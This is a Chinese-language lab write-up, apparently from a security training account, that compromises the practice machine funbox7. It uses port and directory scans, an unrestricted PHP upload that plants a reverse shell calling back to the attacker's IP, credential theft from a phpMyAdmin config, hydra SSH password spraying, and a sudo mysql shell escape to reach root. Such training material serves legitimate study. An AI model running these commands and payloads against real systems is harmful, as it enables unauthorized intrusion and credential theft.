获网安教程
免费&进群
本文由掌控安全学院-杳若投稿
总结
getwebshell → 带脚本语言的目录扫描 → 发现上传 → 上传getwebshell
提 权 思 路 → 利用用户弱密码 → SSH
登录 → sudo-mysql
提权
准备工作
-
启动VPN
获取攻击机IP >192.168.45.220
-
启动靶机
获取目标机器IP >192.168.235.132
信息收集-端口扫描
目标开放端口收集
-
Nmap开放端口扫描2次
-
sudo nmap --min-rate 10000 -p- 192.168.235.132
通过两次收集到的端口:→22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.235.132
信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用(待定)
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测到版本OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.6p1
存在类似用户枚举,等后期没思路的时候考虑
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
ssh root@192.168.235.132 -v
# 如果显示publickey、password就是都支持
证明支持私钥以及密码登录
22-SSH弱口令爆破(待定)
尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.235.132 ssh -s 22
慢慢爆破,探测下一个功能点
22-SSH手动登录尝试(失败)
尝试root
账户的密码爆破发现报错之后进行手动尝试
ssh root@192.168.235.132 -p 22
# 密码尝试
password > root
80-HTTP端口的信息收集
访问 http://192.168.235.132:80
从源码查看开始
信息收集-源码查看(无)
# 包括文章中是否写明一些敏感信息
curl http://192.168.235.132:80
无敏感信息
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.235.132:80 -x 302,403
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/robots.txt端点
访问 http://192.168.235.132/robots.txt
得到一行
Enum_this_Box
访问 http://192.168.235.132/Enum_this_Box
不通
从字面上理解需要枚举这个靶场(可能枚举还不够,待定)
/phpmyadmin/doc/html/index.html端点
该端点得到 phpmyadmin 4.6.6
/phpmyadmin/index.php与/phpmyadmin端点
是一个phpmyadmin
的登录点
漏洞利用-msf
针对现有情况尝试搜索msf
searchsploit phpmyadmin 4.6.6
没有发现存在历史漏洞
思考
似乎陷入了僵局,现在的方向是
-
用更大的字典(
robots
的提示) -
递归爆破子路径
-
登录端点的弱口令、爆破
-
ssh端点的爆破与利用
信息收集-目录扫描gobuster
决定使用字典,并且根据脚本语言使用
php
后缀发现了新的端点
/mini.php
-
# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
-
gobuster dir -u http://192.168.235.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php -k
漏洞利用-getwebshell
端点访问
访问 http://192.168.235.132/mini.php
似乎是文件上传点
上传功能点探测
测试发现可以上传任意.php
文件
路径确认
点击文件之后发现存在文件读取
从路径确认是/var/www/html/
下,文件在主目录内
就是主域名+shell.php
上传任意文本后访问验证猜想
文件上传getwebshell
反弹shell准备
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 5555
# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php
> 49:$ip = '127.0.0.1'; // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234; // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.220/' shell.php
sed -i '50s/1234/5555/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php
成功获取webshell
内网遨游-getshell
交互shell
由于获取的shell交互不友好,利用python获得新的交互shell
python3 -c "import pty;pty.spawn('/bin/bash')";
FLAG1获取
www-data@funbox7:/$ cat /var/www/local.txt
********************
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
cat /etc/*-release
发行版本为ubuntu
的18版本,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
uname -a
内核版本为4.15
检测当前用户的权限
www-data@funbox7:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
发现需要密码
列举出所有suid文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
ls -al /etc/passwd
/etc/shadow权限收集
-
如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权 -
如果
/etc/shadow
具有可读权限可以爆破密码 -
ls -al /etc/shadow
getcap标志进程收集(无)
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
列举定时任务(无)
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务
cat /etc/crontab
确认/home目录下信息
/home
目录下的用户可以做账号字典尝试弱密码
以及爆破
ls -al /home
发现了五个用户
goat
harry
karla
oracle
sally
确认当前用户home目录下是否有隐藏文件(无)
# 例如.ssh找密码 ./*_history找历史记录等
ls -al /home/[用户]
确认/var目录下信息
一般配置的cms
之类的信息会放置在/var
目录下
备份文件没有权限读取
www
目录下没找到什么信息
到这里想到了mini.php
是一个服务的话phpmyadmin
的内容还未查阅
phpmyadmin信息
find / -name phpmyadmi* 2>/dev/null
发现了类似配置文件的部分
首先查阅一下/etc/phpmyadmin
目录下
翻阅了一下资料phpmyadmin
的配置文件是config.*.php
得到了账号密码信息以及3306
数据库
$dbuser='phpmyadmin';
$dbpass='tgbzhnujm!';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';
mysql数据库翻阅(此路不通)
# 连接数据库
mysql -uphpmyadmin -ptgbzhnujm!
看到了很多表
进去查看发现不成功
SSH爆破-1指定密码爆破
费劲千辛万苦我们得到的信息陷入了思路,但是得到了账号密码信息,可能可以用于登录其他用户
尝试直接su
输入密码tgbzhnujm!
发现不对
那么可不可能该密码是某个用户的密码?之前收集账户的时候的伏笔1
将收集到的5个用户做成字典进行爆破
echo "goatnharrynkarlanoraclensally" > user.txt
利用hyrda
进行指定密码的爆破
# -L 指定账号字典
hydra -L user.txt -p tgbzhnujm! -t 6 -vV 192.168.156.132 ssh -s 22
证明推测正确,成功找到可以ssh
登录的用户
SSH爆破-2弱口令密码爆破
之前收集账户的时候的伏笔2
利用账号等于密码的思路进行爆破
hydra -L user.txt -P user.txt -t 6 -vV 192.168.156.132 ssh -s 22
发现也存在弱口令的密码
SSH登录
获取账号密码之后利用SSH进行登录
sudo ssh karla@192.168.156.132 -p22
password > tgbzhnujm!
分别取两个ssh
进行登录,查看哪个用户较为容易提权
sudo ssh goat@192.168.156.132 -p22
password > goat
权限提升
Linux提权-sudo提权尝试
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
通过同时尝试,发现goat
用户下存在sudo
权限文件
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo mysql -e '! /bin/sh'
输入成功提权
FLAG2获取
# cat /root/proof.txt
***************************
完结撒花~
反思
兜兜转转了很久,最终才在用户处发现了突破口,枚举思路还需要提升。
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论